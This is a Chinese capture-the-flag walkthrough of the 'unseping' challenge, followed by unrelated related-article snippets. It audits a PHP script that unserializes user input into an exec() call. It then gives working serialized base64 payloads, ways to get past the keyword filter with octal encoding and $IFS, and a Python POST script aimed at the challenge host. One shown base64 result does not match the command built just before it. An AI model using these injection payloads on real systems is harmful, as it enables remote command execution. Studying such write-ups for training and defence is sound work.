4.攻防世界 unseping
进入题目页面如下

直接给出源码,开始代码审计
<?php
// 高亮显示当前 PHP 文件的源代码,方便调试和查看代码结构
highlight_file(__FILE__);// 定义一个名为 ease 的类
class ease {// 定义私有属性 $method,用于存储要调用的方法名private $method;// 定义私有属性 $args,用于存储调用方法时传递的参数private $args;// 构造函数,在创建类的实例时自动调用function __construct($method, $args) {// 将传入的方法名赋值给 $this->method$this->method = $method;// 将传入的参数赋值给 $this->args$this->args = $args;}// 析构函数,在对象被销毁时自动调用function __destruct() {// 检查 $this->method 是否在数组 ["ping"] 中if (in_array($this->method, array("ping"))) {// 如果 $this->method 是 "ping",则使用 call_user_func_array 函数调用对象的 $this->method 方法,并传递 $this->args 作为参数call_user_func_array(array($this, $this->method), $this->args);}}// 定义 ping 方法,用于执行系统命令function ping($ip) {// 使用 exec 函数执行 $ip 对应的系统命令,并将执行结果存储在 $result 数组中exec($ip, $result);// 使用 var_dump 函数输出 $result 数组的内容var_dump($result);}// 定义 waf 方法,用于对输入字符串进行过滤function waf($str) {// 使用 preg_match_all 函数检查 $str 中是否包含特定的字符或关键词(如 |、&、;、空格、cat、flag、tac、php、ls 等)if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {// 如果不包含,则返回原始字符串return $str;} else {// 如果包含,则输出 "don't hack"echo "don't hack";}}// 魔术方法 __wakeup,在对象被反序列化时自动调用function __wakeup() {// 遍历 $this->args 数组中的每个元素foreach ($this->args as $k => $v) {// 对每个元素调用 waf 方法进行过滤,并将过滤后的结果重新赋值给 $this->args 数组$this->args[$k] = $this->waf($v);}}
}// 从 POST 请求中获取名为 ctf 的参数值,并赋值给 $ctf 变量
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 base64 解码,然后进行反序列化操作
@unserialize(base64_decode($ctf));
1. 反序列化漏洞风险
代码中接收用户通过 POST 请求传递的 ctf 参数,对其进行 base64 解码后进行反序列化操作。如果攻击者能够构造恶意的序列化字符串,就可以触发对象的魔术方法(如 __destruct 和 __wakeup),从而执行任意代码。
2. 命令执行漏洞
ping 方法使用 exec 函数执行用户传入的命令,而 exec 函数执行的命令是由用户可控的 $ip 参数决定的。如果攻击者能够绕过 waf 方法的过滤,就可以执行任意系统命令。
3. 过滤机制
waf 方法对输入字符串进行了正则表达式过滤,禁止使用一些常见的危险字符和关键词
|、&、;、空格、cat、flag、tac、php、ls等
可以尝试使用其他方式绕过。
1. 绕过过滤机制
由于 waf 方法过滤了一些常见的命令和字符,我们可以使用一些绕过技巧,例如:
使用命令的十六进制编码:cat 可以用 \x63\x61\x74 表示。
使用反引号或 进行命令替换:例如,(echo -e '\x63\x61\x74')` 。
2. 构造恶意序列化字符串
<?php
class ease {private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}// 构造要执行的命令
$cmd = "$(echo -e '\x63\x61\x74') f\x6c\x61g.php";
// 创建 ease 类的实例
$obj = new ease("ping", array($cmd));
// 序列化对象
$serialized = serialize($obj);
// 进行 base64 编码
$encoded = base64_encode($serialized);
echo $encoded;
?>
可以用下面这个在线工具运行PHP代码
php在线运行,在线工具,在线编译IDE_w3cschool

得到结果
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJ3aG9hbWkiO319
利用POST传参
虽然执行了但是还需要绕过
空环境变量绕过
应用程序会对用户输入进行过滤,阻止恶意命令的执行。部分系统在处理命令执行时会依赖环境变量,通过利用空环境变量可以绕过某些过滤规则,达到执行恶意命令的目的。
系统在执行命令时会查找环境变量中的命令路径。当过滤规则仅对输入的明文命令进行检查时,使用空环境变量结合命令执行函数,能够让过滤规则失效,从而成功执行被过滤的命令。
利用空环境变量构造命令
在 Linux 系统中,PATH 环境变量指定了系统查找可执行文件的路径。我们可以设置一个空的 PATH 环境变量,然后通过相对路径或绝对路径来调用命令。
例如,cat 命令的绝对路径通常是 /bin/cat
发送请求
将生成的 base64 编码字符串作为 ctf 参数,通过 POST 请求发送给目标
利用 IFS 环境变量
IFS(Internal Field Separator)是 Linux 系统中的一个环境变量,用于指定单词分割的字符。默认情况下,IFS 包含空格、制表符和换行符。我们可以修改 IFS 变量,使用其他字符作为分隔符,从而绕过对空格的过滤。
例如,构造命令时可以使用 $IFS 来代替空格:
$cmd = "/bin/cat${IFS}f\x6c\x61g.php";
3. 发送 POST 请求
将上述代码生成的 base64 编码字符串作为 ctf 参数,通过 POST 请求发送给目标 PHP 脚本:
import requestsurl = 'http://61.147.171.105:61601/'
# 替换为实际生成的 base64 编码字符串
ctf = '生成的 base64 编码字符串'
data = {'ctf': ctf}response = requests.post(url, data=data)
print(response.text)
通过以上步骤,可以绕过过滤机制,执行 cat flag.php 命令,从而获取 flag 的值。
payload:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
通过POST传参

看了大佬的wp才知道,链接附上
攻防世界web新手练习 -unseping_攻防世界web新手题unseping-CSDN博客
查看flag_1s_here文件时,需要运用控环境变量对cat进行绕过,空格运用${ IFS}进行绕过
再次构造payload
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
最终得到flag

相关文章:
4.攻防世界 unseping
进入题目页面如下 直接给出源码,开始代码审计 <?php // 高亮显示当前 PHP 文件的源代码,方便调试和查看代码结构 highlight_file(__FILE__);// 定义一个名为 ease 的类 class ease {// 定义私有属性 $method,用于存储要调用的方法名priv…...
安装和使用 Ollama(实验环境windows)
下载安装 下载 https://ollama.com/download/windows 安装 Windows 安装 如果直接双击 OllamaSetup.exe 安装,默认会安装到 C 盘,如果需要指定安装目录,需要通过命令行指定安装地址,如下: # 切换到安装目录 C:\Use…...
(一)DeepSeek大模型安装部署-Ollama安装
大模型deepseek安装部署 (一)、安装ollama curl -fsSL https://ollama.com/install.sh | sh sudo systemctl start ollama sudo systemctl enable ollama sudo systemctl status ollama(二)、安装ollama遇到网络问题,请手动下载 ollama-linux-amd64.tgz curl -L …...
【大数据技术】搭建完全分布式高可用大数据集群(ZooKeeper)
搭建完全分布式高可用大数据集群(ZooKeeper) apache-zookeeper-3.8.4-bin.tar.gz注:请在阅读本篇文章前,将以上资源下载下来。 写在前面 本文主要介绍搭建完全分布式高可用集群 ZooKeeper 的详细步骤。 注意: 统一约定将软件安装包存放于虚拟机的/software目录下,软件…...
前端学习-tab栏切换改造项目(三十一)
目录 前言 监听代码 思路 代码 事件委托代码 思路 代码 总结 前言 星垂平野阔,月涌大江流 监听代码 思路 等待DOM加载完成 获取所有标签 为每个标签添加鼠标悬停事件监听器 定义showTab函数: 接收一个索引参数index,用于标识当前悬停…...
高性能 AI 处理器亲和性调度算法实现
目录 题目描述解题思路分析C 语言实现 生成组合的函数主程序实现C 语言代码使用示例Python 实现 生成组合的函数主程序实现Python 代码使用示例总结与展望题目描述 某公司研发的高性能 AI 处理器,每台物理设备 a 包含 8 颗 AI 处理器,编号为 0 - 7。其中,编号 0 - 3 的处理…...
mq消息丢了,有哪些现象?有什么补救措施
异步发送:生产者发送消息,然后等消费者处理完成后,会有一个回调结果 mq消息丢了常见情况: 1.生产者消息丢失 可能由于网络问题,错误的主题、消息过大等原因导致消息发送失败 2.消费者消息丢失 怎么保证不丢失呢&…...
Java面试场景题分享
假设你在做电商秒杀活动,秒杀开始时,成千上万的用户同时请求抢购商品。你会如何设计系统来处理这些请求,确保库存不超卖 你如何保证库存的准确性? 这个问题引导你思考如何在高并发下确保库存更新的原子性,最直接的方式…...
《ISO/SAE 21434-2021 道路汽车--网络安全工程》标准解读
1 范围 略 2 归一化引用 略 3 术语定义 相关项: 实施车辆级功能的组件或组件集; 例如 安全气囊打开系统 组件: 逻辑上和技术上可分离的部分;例如 微控制器 资产: 具有价值或对价值有贡献的对象;例如 密钥 网络安全…...
【BUUCTF逆向题】[MRCTF2020]Transform
一.[MRCTF2020]Transform 64位无壳,IDA打开发现main函数进入反编译 阅读程序 先输入33位code再加密处理然后验证是否相等的题型 逆向看,验证数组byte_40F0E0已知 再往上看加密处理方式 就是将Str(我们输入的flag)的每一个索引处…...
漏洞挖掘 | 基于mssql数据库的sql注入
视频教程在我主页简介或专栏里 目录: 前记 0x1 判断网站数据库类型 0x2 了解mssql数据库的主要三大系统表 0x3 了解mssql的主要函数 0x4 判断注入点及其注入类型 0x5 联合查询之判断列数 0x6 联合查询之获取数据库相关信息 0x7 mssql之时间盲注 0x8 mssql之报错注…...
Java 中 LinkedList 的底层源码
在 Java 的集合框架中,LinkedList是一个独特且常用的成员。它基于双向链表实现,与数组结构的集合类如ArrayList有着显著差异。深入探究LinkedList的底层源码,有助于我们更好地理解其工作原理和性能特点,以便在实际开发中做出更合适…...
使用服务器部署DeepSeek-R1模型【详细版】
文章目录 引言deepseek-r1IDE或者终端工具算力平台体验deepseek-r1模型总结 引言 在现代的机器学习和深度学习应用中,模型部署和服务化是每个开发者面临的重要任务。无论是用于智能推荐、自然语言处理还是图像识别,如何高效、稳定地将深度学习模型部署到…...
k8s,1.修改容器内主机名和/etc/hosts 文件,2.root特权容器,3.pod安全策略(基于名称空间
1.修改容器内主机名和/etc/hosts 文件,让持久生效,通过修改资源清单方式---kind: PodapiVersion: v1metadata:name: rootspec:hostname: myhost # 修改主机名hostAliases: # 修改 /etc/hosts- ip: 192.168.88.240 # IP 地址hostnames: # 名…...
MSPFN 代码复现
1、环境配置 conda create -n MSPFN python3.9 conda activate MSPFN pip install opencv-python pip install tensorflow pip install tqdm pip install matplotlib2、train 2.1 创建数据集 2.1.1 数据集格式 |--rainysamples |--file1: |--file2:|--fi…...
除了console.error,还有什么更好的错误处理方式?
除了 console.error,在 Vue 应用中进行更好的错误处理可以采用以下几种方式: 一、使用全局错误处理 Vue 的错误捕获在 Vue 2 中,可以使用 errorHandler 来捕获全局的错误: Vue.config.errorHandler = (err, vm, info) => {// 处理错误,例如记录日志logError(err, info…...
力扣.270. 最接近的二叉搜索树值(中序遍历思想)
文章目录 题目描述思路复杂度Code 题目描述 思路 遍历思想(利用二叉树的中序遍历) 本题的难点在于可能存在多个答案,并且要返回最小的那一个,为了解决这个问题,我门则要利用上二叉搜索树中序遍历为有序序列的特性,具体到代码中&a…...
Yageo国巨的RC系列0402封装1%电阻库来了
工作使用Cadence多年,很多时候麻烦的就是整理BOM,因为设计原理图的时候图省事,可能只修改value值和封装。 但是厂家,规格型号,物料描述等属性需要在最后的时候一行一行的修改,繁琐又容易出错,过…...
wait/notify/join/设计模式
JUC wait obj.wait() 让进入 object 监视器的线程到 waitSet 等待wait()方法会释放对象的锁,进入 WaitSet 等待区,从而让其他线程就机会获取对象的锁。无限制等待,直到 notify 为止wait(long n)有时限的等…...
Windows Docker笔记-Docker拉取镜像
通过在前面的章节《安装docker》中,了解并安装成功了Docker,本章讲述如何使用Docker拉取镜像。 使用Docker,主要是想要创建并运行Docker容器,而容器又要根据Docker镜像来创建,那么首当其冲,必须要先有一个…...
idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...
【位运算】消失的两个数字(hard)
消失的两个数字(hard) 题⽬描述:解法(位运算):Java 算法代码:更简便代码 题⽬链接:⾯试题 17.19. 消失的两个数字 题⽬描述: 给定⼀个数组,包含从 1 到 N 所有…...
Go 语言接口详解
Go 语言接口详解 核心概念 接口定义 在 Go 语言中,接口是一种抽象类型,它定义了一组方法的集合: // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的: // 矩形结构体…...
[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...
SpringCloudGateway 自定义局部过滤器
场景: 将所有请求转化为同一路径请求(方便穿网配置)在请求头内标识原来路径,然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...
C++使用 new 来创建动态数组
问题: 不能使用变量定义数组大小 原因: 这是因为数组在内存中是连续存储的,编译器需要在编译阶段就确定数组的大小,以便正确地分配内存空间。如果允许使用变量来定义数组的大小,那么编译器就无法在编译时确定数组的大…...
【Linux】Linux 系统默认的目录及作用说明
博主介绍:✌全网粉丝23W,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…...
Web中间件--tomcat学习
Web中间件–tomcat Java虚拟机详解 什么是JAVA虚拟机 Java虚拟机是一个抽象的计算机,它可以执行Java字节码。Java虚拟机是Java平台的一部分,Java平台由Java语言、Java API和Java虚拟机组成。Java虚拟机的主要作用是将Java字节码转换为机器代码&#x…...
(一)单例模式
一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...
基于Java+VUE+MariaDB实现(Web)仿小米商城
仿小米商城 环境安装 nodejs maven JDK11 运行 mvn clean install -DskipTestscd adminmvn spring-boot:runcd ../webmvn spring-boot:runcd ../xiaomi-store-admin-vuenpm installnpm run servecd ../xiaomi-store-vuenpm installnpm run serve 注意:运行前…...

